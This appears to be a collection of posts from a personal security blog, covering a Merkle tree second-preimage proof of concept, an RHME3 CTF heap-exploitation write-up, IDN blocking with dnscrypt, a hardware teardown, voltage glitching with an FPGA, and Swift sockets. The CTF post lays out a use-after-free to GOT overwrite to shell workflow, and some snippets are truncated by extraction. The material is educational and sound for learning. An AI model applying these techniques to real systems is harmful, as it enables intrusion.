Attacking Merkle Trees with a Second Preimage Attack

This post will outline a common flaw in implementations of Merkle Trees, with demonstrations of potential attacks against the most popular python libraries.

But first, a brief overview of what both a Merkle Tree and a Second Preimage attack are.

Merkle Trees

A Merkle Tree is a fairly simple data structure that allows chunks of data (whether originally in chunks such as files, or that have been intentionally broken up into chunks) to have a hash calculated across all of the data in an independent and distributed manner.

To use an example: if you have 2000 1GB files, and want to calculate the SHA256 of your data, you’d typically concatenate all the files together and take a single hash value of that data. This is problematic for a number of reasons – including the fact that if a single byte in a single file changes, you’d need to run another SHA256 hash over 2TB of data. Second, you couldn’t calculate your hash until you had all 2000 files, at which point you’d be starting from scratch.

A Merkle Tree solves this by hashing individual chunks of data (keeping with the above example, each 1GB file), and then constructing a binary tree of the hashes until you’re left with only a single hash value, representing the entirety of your chunks of data. This means that if a single file changes, you only have to re-hash that file, and then calculate hashes of hashes which is a very fast operation.

A picture and the wikipedia page for Merkle Trees is worth a thousand words:


Second Preimage attacks

A Preimage Attack is where you are given a hash fingerprint and your task is to find any data hashes to that value.

For example, if I gave you the MD5 value 5EB63BBBC01EEED093CB22BB8F5ACDC3 and you could discover data that generates that hash, you’ve broken MD5 with a Preimage Attack.

Side note: MD5 is a 128-bit hash function, and the best Preimage attacks against it reduce it’s strength to 123 bits, which is still very strong against Preimage Attacks. The significant weakness that has caused MD5 to be deprecated is a Collision Attack, where an attacker can generate two inputs that both hash to the same hash value, but isn’t controllable or predictable.

A Second Preimage Attack is where you are given some data and your task is to find a second set of data which generates the same hash as the first. It’s very similar yet subtly different to a regular Preimage Attack in that you have a sample of data that you know leads to the target hash value. A Second Preimage is always more difficult to perform than a collision, as one input is outside of the attackers control.

A Second Preimage Attack against Merkle Trees

The attack against Merkle Trees is quite simple once you get your head around it. The assumption that a lot of implementations make is that if you pass a series of inputs into a Merkle Tree and get a root hash value out, there are no other inputs that could lead to that hash value. This is wrong in many implementations because of a minor flaw.

In the above example, our inputs are L1, L2, L3, and L4. These eventually output the root hash value at the top of the diagram. But as you can see from the diagram, the inputs to the middle layer are the concatenated hashes of the previous layer, and we can just pass those two values directly into the Merkle Tree and get the same root hash value back.

An important note is that this attack can occur even if the underlying hash function has no known security weaknesses: it is inherently a problem in how many Merkle Tree’s are constructed.

This is much more vivid if an example is used, as follows.

Example Attacks

Instead of explaining this attack with sample code, I googled “python merkle tree”, and worked my way through the github repos with MT implementations, and wrote simple PoC code to demonstrate the flaw.

The first example is

First, we’ll import the Merkle Tree implementation and json library for printing output. I’ve then made a simple function to construct an MT object, assign a series of ‘transactions’ (chunks of data), finally constructing the tree out of this data and then printing the root node, as well as dumping the tree values which will show how we got to this root node.

import json
from MerkleTrees import Jae_MerkTree

def do_merktree(transactions):
  Jae_Tree = Jae_MerkTree()
  Jae_Tree.listoftransaction = transactions
  past_transaction = Jae_Tree.Get_past_transacion()
  print "final root: %s" % (Jae_Tree.Get_Root_leaf())
  print(json.dumps(past_transaction, indent=4))

This is where we actually demonstrate three values passed into this implementation which will all output the exact same hash value:

transaction1 = ['a','b','c','d']
transaction2 = ['ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb3e23e8160039594a33894f6564e1b1348bbd7a0088d42c4acb73eeaed59c009d','2e7d2c03a9507ae265ecf5b5356885a53393a2029d241394997265a1a25aefc618ac3e7343f016890c510e93f935261169d9e3f565436429830faf0934f4f8e4']
transaction3 = ['62af5c3cb8da3e4f25061e829ebeea5c7513c54949115b1acc225930a90154dad3a0f1c792ccf7f1708d5422696263e35755a86917ea76ef9242bd4a8cf4891a']


In transaction1, I pass in four values: a, b, c, d

In transaction2, I pass in two values, each of which is the concatenation of the hashes of two prior values – for example, hash(a)+hash(b) and hash(c)+hash(d) where I’m using a plus symbol for concatenation.

In transaction3, I pass in one value: the concatenation of the hashes output from the previous layer.

The output (with full tree dumping commented out) looks like so:

('final root: ', '58c89d709329eb37285837b042ab6ff72c7c8f74de0446b091b6a0131c102cfd')
('final root: ', '58c89d709329eb37285837b042ab6ff72c7c8f74de0446b091b6a0131c102cfd')
('final root: ', '58c89d709329eb37285837b042ab6ff72c7c8f74de0446b091b6a0131c102cfd')

The second example is: and can be installed with “pip install merkletools”. The following code follows a similar trend, and is somewhat self explanatory.

import merkletools

mt = merkletools.MerkleTools(hash_type='md5')

print("%s") % (mt.get_merkle_root())


print("%s") % (mt.get_merkle_root())

This produces the following output:

$ python2 

We’ve successfully provided two different inputs to the tree which have resulted in the same hash fingerprint being calculated.


Limitations of this attack

The significant limitation and reason that these attacks often aren’t actually of concern in the real world (such as with bitcoin) is that whilst we can find input Y which generates the same hash value as input X, we have zero control over the value of Y or even it’s format, meaning out input will likely not be interpreted in a useful manner to whatever application is relying upon the Merkle Tree for data integrity. One likely attack this could lead to is a Denial of Service, where data could be overwritten or replaced because the integrity is not guaranteed by matching the hash value.

How to Fix

Fortunately, the fix for this is fairly simple. The idea is to differentiate between leaf nodes and intermediate nodes in the tree by prepending a different byte value for leaf and intermediate nodes (such as 0x00 and 0x01 as in the certificate transparency implementation). Alternatively, tree depth or node depth can be recorded as part of the data structure, meaning that an attacker can’t just supply intermediate values directly.


Barriers to successful IoT bug bounties

Bug bounties are the new(ish) hotness in security assessment, and bounty companies are making fairly bold claims about how great and effective their crowd-sourced services are. Whilst I think they have well and truly earnt their place amongst the classic broad spectrum of assessment products and services, there’s one particular area they face challenges that I haven’t seen tackled in any sensible form yet: IoT (the S in IoT stands for security).

Here are a small handful of things that are preventing IoT succeeding in the bug bounty space:

  • Cost of entry: If bounty hunters have to shell out $300 to have an IoT widget sent to them before they can get started, you’ve diminished the pool of talent to a tiny percent. If the bounty hunter earns $300 off a bug, they’ve only cut even; or are in the negative if they value their time.
  • Patch cycle duration: A lot of bounty schemes only pay out when the bug is fixed, not when it is confirmed. In the IoT/embedded space, development lifecycles commonly extend for months, unlike online services which are known to be patched in hours. Bounty hunters might be without rent money for half a year. A further problem is that duplicate submissions go through the roof. If a bug is being “remediated” for 3 months, the chances that someone else spends time re-discovering that bug is fairly significant.
  • Skillsets: The learning curve for picking up a copy of burp and web app hackers handbook is fairly gentle; the talent pool for people who understand web development is fairly sizable. The same cannot be said for embedded systems or reverse engineering native compiled binaries. Chances are, if you can reverse ARM binaries, you’ve got a decent enough job that a few hundred dollars for a days effort bounty hunting doesn’t light you up with excitement.
  • Systemic/Design vulnerabilities: Anyone who has taken a look at a typical IoT device knows they’re full of bad choices: by the time you’ve tripped over the 154th call to system(), you realize that what these developers need is not a list of bugs to patch ad-hoc, but secure development training and to redesign the product. An optimist might argue that they’re using the bug bounty a feedback learning loop for incremental improvements, but really they’re just taking the slow road to learning a bunch of lessons the rest of the tech industry learnt in 1994.

Fortunately, for most of the above I think there are improvements that can be made; some lie directly with the bug bounty companies, but most of the pressure should be on the vendor.

If vendors stopped treating security as an ambulance at the bottom of the cliff and involved security teams earlier on in the process, they’d have a lot less bugs coming out during bounties. That would allow them to increase the bounty and attract a lot more high-quality submissions.

RHME3 Exploitation Writeup

The following is my writeup of how I took on the RHME3 exploitation challenge. I’m fairly new to CTF, so this post is a fairly verbose tale of fails and successes as I worked my way through.

We’re given two binaries and a port on a host:

This binary is running on Analyze it and find a way to compromise the server. You’ll find the flag in the filesystem.
- main.elf

Ok, what do we have here:

$ file * ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped

main.elf:  ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 2.6.32, BuildID[sha1]=ec9db5ec0b8ad99b3b9b1b3b57e5536d1c615c8e, not stripped

Running strings across libc showed it was version 2.23; fairly recent. There aren’t going to be any walk-in-the-park exploits against this. Given that I’m entirely new to glibc exploitation, I pulled a copy of the source to have nearby.

A quick run over with checksec showed that there was no ASLR and no full RELRO. nice.

Connecting to the host provided gives us a basic menu system:

0.- Exit                     
1.- Add player               
2.- Remove player            
3.- Select player            
4.- Edit player              
5.- Show player              
6.- Show team     

Straight away it looked like someone had put together a program with the ability to add, remove, modify bits of data. It felt like it was going to be heap related. I had a bit of a tinker with the program, and a pretty obvious thing stood out to me: the Select player function seemed independent of two others: you could Select a player, and when you asked to Remove, it asked you independently which player you’d like to remove. Perhaps we have some kind of use-after-free?

Ok, time to look at the binary locally. It wouldn’t fire up, so I threw a copy in IDA and started walking through the startup code. With a bit of trial and error I realized it needed to have a user ‘pwn’ on the system to setuid() to, and a directory /opt/riscure/pwn. I created these and the binary happily fired up. The binary forks for every connection, so I setup a script to attach gdb to the forked process as soon as I connect. Of course, I also wanted to make sure I had LD_LIBRARY_PATH set to the libc version I’d been provided, to make sure any addresses or offsets are valid.

While in IDA, I had a quick look at the layout of the add_player function, and took some basic notes on what the main struct looked like… this will be very relevant shortly:

add_player() in IDA

Jumping between IDA and gdb, I managed to get a crash pretty quick. Sure enough, if you Select a player, then Remove that player, you have a stale pointer to memory that has been free’d.

The following demonstrates this. I’ve redacted the printing of the entire menu each time:

nc 1337        
Welcome to your TeamManager (TM)!        
0.- Exit                                 
1.- Add player                          
2.- Remove player                        
3.- Select player                        
4.- Edit player                          
5.- Show player                          
6.- Show team                            
Your choice: 1                           
Found free slot: 0                       
Enter player name: tecnik                
Enter attack points: 1                   
Enter defense points: 2                  
Enter speed: 3                           
Enter precision: 4  
Your choice: 3                           
Enter index: 0                           
Player selected!                         
        Name: tecnik                     
        A/D/S/P: 1,2,3,4                 
Your choice: 2                           
Enter index: 0                           
She's gone!                              
Your choice: 5                           
        A/D/S/P: 24622640,0,3,4                                   

We’ve managed to retain a reference to a player which has been removed and when viewed, a pointer has been shown as part of displaying the players stats.

So at this point I did a load of reading up on the glibc malloc implementation and classic attacks against it. I suspected maybe I could overwrite a players attack/defense/etc points to corrupt heap metadata and overwrite the forward & backward freelist pointers. After a load of getting it wrong, I looked for an alternative idea.

In the glibc heap, there are two major freelists which store chunks of data that have been malloc()’d and subsequently free()’d: bins and fastbins. Bins is a doubly-linked list of larger memory sizes with all kinds of nice features such as coalescing: two adjacent blocks of free memory will be merged together and shifted to the appropriately sized bins freelist. Fastbins on the other hand is for small allocations, and as the name suggests is designed for small and quick allocations.

I took a look at how memory was laid out when a player is created. There are two malloc’s for adding a player, and two free’s for removing one. This is what a player looks like in memory:

        <-- 64-bit -->
| attack      | defense       |
| speed       | precision     |
|                             |       +--------------+
|             +---------------------->+ name         |
|                             |       +--------------+

I need a new blog platform, wordpress is horrible for this.

So when a player is created, 0x18 bytes is allocated for the main player struct, and then however many bytes is needed for the name (based on strlen) is also allocated. Because the length of the name determines how many bytes are allocated, we can choose to have this allocation in bins or fastbins.

So our basic bug primitive is that we can allocate some data, get a pointer to that data, free that date, and continue to access the free’d chunk. Exactly what can we read/write to the chunk after it’s been freed? Heap metadata. A regular malloc_chunk looks roughly like this:

A +---> | Prev Size  | Size        |
B +---> | Fwd PTR    | Back PTR    |
        |                          |
        |                          |             
        |                          |
        |                          |

This is what a free chunk looks like: two size fields, and forward and back pointers to have the chunk on the linked list. Of course, on the fastbins freelist, the previous size and the Back Pointer aren’t used, so can be completely ignored. The Prev Size and Size fields are inaccessible to a normal user of malloc(), the pointer you receive when you call malloc would be pointing to location B; the pointer to location A is what the glibc heap manager uses internally. When this memory is in use (IE, you’ve called malloc), your data starts from B; given that your chunk is no longer on the freelist, the FD and BK pointers are not required, so you can read/write there.

So a quick recap; we have a pointer like B to a chunk of data on a singly-linked list, so by editing a player that has been selected and free’d, we end up overwriting heap freelist pointers. What can we do with this? we can overwrite the freelist data to point somewhere interesting, and after a couple of malloc’s, our interesting location will be handed to us via malloc. If you remember that the player name calls malloc and then lets us write arbitrary data in as a name, if malloc returns an address of our choosing we have a write-what-where primitive.

There’s a catch though. People have been messing with heap metadata for a long time, so some basic checks are in place to make sure the freelist hasn’t been screwed up too bad. Fortunately for us, the fastbins checks don’t have any of the fanciness that the regular bins list does (I guess it’s harder to check the integrity of a singly-linked list?). The key check we need to bypass is in the above malloc_chunk diagram, there’s a size field. When the heap code walks the freelist it needs to see that the chunk is indeed fastbins size; small.

If you don’t get this right, you see this:

malloc(): memory corruption (fast)

So we can overwrite a given piece of memory, assuming it is preceded by a small number. Given there is no RELRO, we can straight-up overwrite the GOT, but none of those addresses are preceded by a small value.

I spent a fair amount of time tinkering with this piece of code from the fantastic how2heap collection.

There’s a very obvious candidate for this: we can create a player whose ‘defense’ value is very small, and it’ll allow us to overwrite the name pointer to point to anything of our choosing. If we then edit the players name, we’re writing data of our choosing to a location of our choosing; win!

So here’s the workflow:

  1. Create a player, lets call him ‘fake’, with defense points of 0x21
  2. Add, Select, and Remove a player to get a stale pointer to the freelist
  3. Edit the player (overwrite the fastbins freelist pointer) to point to our fake player – where we’ve configured it to look like a fake heap chunk – and overwrite the fake players name pointer to point into the GOT
  4. Edit the fake players name (which is a pointer to the GOT), overwriting the address of a GOT function pointer
  5. Call that function, get EIP

After a load of trial and error, this resulted in getting control of the instruction pointer. I now started doing a bunch of looking into how to turn this into a shell, before realizing there is such a thing as a “one-gadget shell”, thanks to Gynvaels slide deck. Using the one_gadget tool, I found a nice address that only required clearing of r12 and RCX registers.

I ended up overwriting the strlen() function, as it was called when I added a new user and gave me access to my own data on the stack. I called a stack pivot gadget which just slightly altered RSP to point into my data and was able to call a couple of basic ROP gadgets to clear the right registers and grab a shell.

I threw together a terribly kludgey python exploit using manually fetched addresses from leaking the a heap pointer (seen above when viewing a player) as well as leaking the libc base by forcing a malloc corruption error on the remote host, which resulted in a full error printout including addresses of all loaded libraries.

My final exploit with it’s hardcoded leaked addresses is available on this github gist. Having now seen what other people did using pwntools, I really need to up my game with CTF tooling.

I learnt a shit-ton, and thank the Riscure+Argus teams for putting this together. I spent a lot of time banging my head against the desk, but am happy to have persisted and learn a load.

Resources I leant on heavily:


How and Why you should disable Internationalized Domains

How well could you spot the difference between and а

They look identical, but to a computer they’re completely different strings of bits, and not equivalent at all. The second domain contains a Cyrillic ‘a’ character, as demonstrated here:

>>> 'a' == 'а'

Support for the worlds beautiful diverse languages in modern technology is an absolutely fantastic thing for providing access for people from every corner of the globe to the wealth of information the internet provides.

Unless you only speak english, in which case it’s a security nightmare. A recent harmless prank by a colleague showed that even a room full of security-minded individuals can be pretty quick to deem a site safe when a basic bit of pretexting, an internationalized domain (IDN), and a freshly minted letsencrypt cert are in play.

So, what to do about it? one option is to disallow your system from ever resolving IDNs.

Enter dnscrypt. dnscrypt is a tool that aims to solve one key challenge of name resolution; the fact that your local resolver will often feed you invalid or manipulated results. If you’re using a US-based ISP and have ever mistyped a URL, you’ll possibly know what I’m talking about. Instead of the expected DNS lookup failure, you’re served a horrifically ugly page full of ads and recommendations from you ISP. dnscrypt helps prevent that by signing request/response data between yourself and some resolver out on the internet that you trust more than your local ISP/hotel/cafe network.

Caveat: I have not looked over the dnscrypt code. I think it’s a worthwhile project and do intend to.

dnscrypt comes with a number of nice plugins and features, and the one that’s of particular interest when talking IDNs is the ability to block and log domains specified with wildcards. Even though an IDN may display as عم.عمان in the browser, an underlying algorithm (specified in RFC 3940) converts it back to regular ASCII text in order to do the name resolution. What you end up with after conversion, is a punycode URL such as xn--wkd-8cdx9d7hbd, always prefixed with “xn--” which we can block and log.

Implementing this is really simple:

  1. Follow the regular dnscrypt-proxy installation instructions; on MacOS you can fetch it from homebrew.
  2. Edit /usr/local/etc/dnscrypt-proxy.conf and uncomment the following lines
    • QueryLogFile /tmp/dns-queries.log

    • BlackList domains:“/etc/dnscrypt-blacklist-domains.txt” logfile:“/var/log/dnscrypt-blocked.log”

  3. $ sudo echo “*xn--*” > /etc/dnscrypt-blacklist-domains.txt

Test it out. Tail the /tmp/dnsqueries.log file while browsing the web, and watch DNS queries go out. Then tail /var/log/dnscrypt-blocked.log while hitting an IDN domain, such as

You should see those domains being blocked and will fail to resolve. Most of the sites that use IDN’s will have a regular non-punycode ASCII domain as well, so don’t worry about not being able to get to all of the internets best international cat pictures.

Teardown: E-Mods RS-1 handheld game

I recently bought a cheap NES-knockoff handheld off Amazon for $15.99 to tinker with, pull apart, and eventually reverse the flash image.

The initial teardown showed an unsurprisingly simple collection of components; amongst a small handful of SMT caps & resistors and switches of a few varieties is the LCD screen, an audio chip, an epoxy blob hiding the main processor, and finally a flash 128 Mbit flash chip.

The glorious E-mods RS-1
Case open, +ve wire already snapped off at solder joint
Front side showing LCD
The fun bits – 56 pin TSOP Flash & the main processor
The 128GBit NOR flash chip

The datasheet for the flash chip is here

In order to see what I might be up against trying to sit a logic analyzer on the flash data bus, I had a poke with my scope and saw the string of obvious initial boot reads followed by periodic read/writes at the menu screen.

Chip Enable line on the flash chip

Taking a closer look at the signal, it all seems fairly slow with nothing over 500kHz, easily sniffable even with a low-end logic analyzer.

Access to the flash chip was relatively slow

The next step will be to pull the flash chip and dump the contents.

Glitching 101: modifying code execution paths using only voltage


Take a look at this simple code:

ctr = 0; 
for(i=0; i<500; i++){
   for(j=0; j<500; j++){
     if (j % 100 == 0) {

At the end of this execution, there should only be one feasible value of ctr: 2500. The program takes no other input that could cause any deviations from a straightforward series of instruction executions and a very predictable output.

Moving away from theoretical execution to actual hardware, you’d likely still expect the same answer, despite infinitely complicated operating systems and layers upon layers of abstraction at the hardware layer.

What follows is a very basic introduction to the idea that intentionally manipulating only the voltage of a microprocessor can affect the outcome of very simple arithmetic and logic in moderately repeatable and sometimes controllable ways.

This is far from new material; glitching was used to unlock the Xbox360 (among other things) and has already been covered extensively in prior research. This is an attempt to get hands-on for minimal startup cost and effort – an Arduino Uno and a $21 FPGA.

The Plan

There are a number of invasive and non-invasive attacks that attempt to disrupt a chip; the two most simple being clock and power glitching. We’re going to go with power glitching, where we’ll simply drop the voltage supplied to the microcontroller for a very brief period of time, quickly raise it back up to operating voltage again and see what happens.

This is going to be very random and not particularly well targeted – we’re not trying to pull off an incredible feat of hacking but instead just demonstrate the correlation between tinkering with Vcc and code execution paths. We’re not even going to try the glitch and a particular time; we’ll just keep doing it and watch what happens.

Digital logic circuits tend to operate at very high speeds; clocks in the MHz and up range mean that somewhat specialized tools are required for interacting with these devices. Oscilloscopes and Logic Analyzers are typical go-to tools for observing signals inside a digital circuit, but we actually want to be sending signals, not just reading.

For this, we’ll use a Field Programmable Gate Array. It’s essentially a chip that we can wire up as a digital circuit however we like, and have it run at full silicon speed. The tool used here is an iCEstick by Lattice Semiconductor which comes in at a fairly affordable $21 and just plugs straight into USB. Even better, there’s a fully open-source toolchain which makes setup really easy and lightweight. The FPGA can be programmed using a schematic editor or via a Hardware Description Language (HDL); I’m going to write the very tiny amount of required HDL code in Verilog.

Test Setup

The hardware setup is incredibly simple: we load the target code up to the arduino and remove the ATmega AVR chip onto a breadboard. The breadboard is used so we can get inline with the actual power supply wires, where we’ll drop in a transistor to give us the ability to turn power on and off.

That transistor will be driven from an output on the FPGA, which will be loaded up with some simple Verilog code to create an output signal that goes low for a brief period of time on a regular basis. The FPGA will be switching the AVR power supply on and off as it chooses, and given the 12MHz clock of the FPGA, will allow very fine grained glitch pulses down to the low hundreds of nanoseconds (1/1,000,000,000 of a second).

Make sure you’ve loaded up the Arduino code in the IDE and uploaded it to the Arduino. Check the Serial Monitor to make sure it’s sending regular messages which look something like:

500 + 500 = 1000 ctr: 2500

Here’s a diagram of how the hardware should be wired up:


The only components other than a bunch of connector wires are a transistor and a resistor. I’m no electrical engineer, so I just found a P2N2222A and a 560Ω resistor and they seem to work. I have no idea if the resistor is even required; but it works.

When shifting the AVR from its Arduino socket to the breadboard, a few pins can be wired directly: 20 (AVCC), 2 & 3 (for serial IO), 7 (VCC), and 9 & 10 for clock signal.

The glitch signal coming from J1_1 on the FPGA connects into the base of the transistor via the resistor, while one side of the transistor is hooked up to the MCU’s GND, and the other to the FPGA’s own GND.

It may look something like this:

Glitch Setup: Arduino with ATmega328p being glitched by an iCEstick FPGA.

Now it’s time to program the FPGA. If you follow the guide here, you should be able to have the prereq toolchain up and running very easily (I’m on Ubuntu 16.04 and it was a walk in the park). You should be able to build and upload the blink.v Verilog with a simple ‘make’ in the code directory. If you’re suspecting it’s called blink.v because it was my first ever Verilog project and started out as blinking an LED, you’d be one hundred percent correct.


With any luck, you’ll see the debug output being sent back to the Arduino IDE Serial Monitor (or whatever you’re using to keep tabs on the serial IO). Instead of the correctly calculated values, you should see something more like:

500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 2501
500 + 500 = 1000 ctr: 2499
500 + 500 = 1000 ctr: 3044
500 + 500 = 1000 ctr: 4000
500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 2154
500 + 500 = 1000 ctr: 2000
500 + 500 = 1000 ctr: 2379
500 + 500 = 1000 ctr: 2500
500 + 500 = 1000 ctr: 500
500 + 500 = 1000 ctr: 500
500 + 500 = 1000 ctr: 500
500 + 500 = 1000 ctr: 1871
500 + 500 = 1000 ctr: 1500
500 + 500 = 1000 ctr: 1500
500 + 500 = 1000 ctr: 1500
500 + 500 = 1000 ctr: 11252

Glitching (in particular in this manner) can have a fair degree of randomness, so output can vary wildly. You can also expect some poorly timed glitches to cause the AVR to fully reset.

What’s fascinating about this is the manner in which the processor typically continues normal execution just fine, but with particular data or instructions not as they should be. This type of manipulation can and regularly is honed into a much more precise attack to extract data or exploit hardware to gain access, as seen plenty previously.

The Verilog code as it is has a major drawback; the timing values are hardcoded and the programming step takes a significant amount of time. If you’re not seeing any results, the GLITCH_DURATION variable can be modified; a higher value means the AVR power will be dropped for longer and should increase the chances of an adverse effect, but could also result in a full reset.

Getting started with BlueSocket and SPM

I recently had a need for regular TCP sockets in Swift on macOS, and unfortunately my go-to iOS socket library, SwiftSocket, is iOS only. A quick peruse of showed a significant lack of other options.

I then found BlueSocket by IBM (?!), which appeared to do roughly what I was after. Unfortunately, BlueSocket doesn’t use Cocoapods but instead Apples own Swift Package Manager, which has a significant lack of documentation and like Swift itself, changes week-to-week.

Fundamentally this is very straight-forward, but worth documenting here because it doesn’t appear to be elsewhere. This was done on:

  • Xcode 8.1
  • Swift 3.0.1

First, we create a new Xcode project called BasicBlueSocket targeting a Command Line Tool for macOS in swift.


Now we need Swift Package Manager to come on board and get our dependency: BlueSocket.

Close Xcode and create the following file, named Package.swift in the root directory of our project folder:

import PackageDescription
let package = Package(
    name: "BasicBlueSocket",
    targets: [],
    dependencies: [
        .Package(url: "",
                 majorVersion: 0),

Now, open a Terminal and browse to the root of your project directory, where this file is located, and run: swift package generate-xcodeproj.

You should see SPM grab the required code from github and re-jiggle your folder structure:


If you now open BasicBlueSocket.xcodeproj, you’ll be able to go ahead and import Socket – the code library for easy sockets is now available.

We can test that we have BlueSocket up and running with the following code:

import Foundation
import Socket
print("I want a socket")
var socket: Socket
let webRequest = "GET / HTTP/1.1\r\nHOST:\r\n\r\n"
var responseData = ""
var data: Data = Data()
do {
    socket = try Socket.create()
    try socket.connect(to: "", port: 9999)
    try socket.write(from: webRequest)
    let result = try &data)
    let response = String(data: data, encoding: String.Encoding.utf8)
    print(response ?? "No Response Data")
} catch {

If you then run python -m SimpleHTTPServer 9999 in a Terminal and run the project, you should see a web request arrive in the python terminal, and the response show up in Xcode. Voila! easy sockets thanks to BlueSocket and SPM.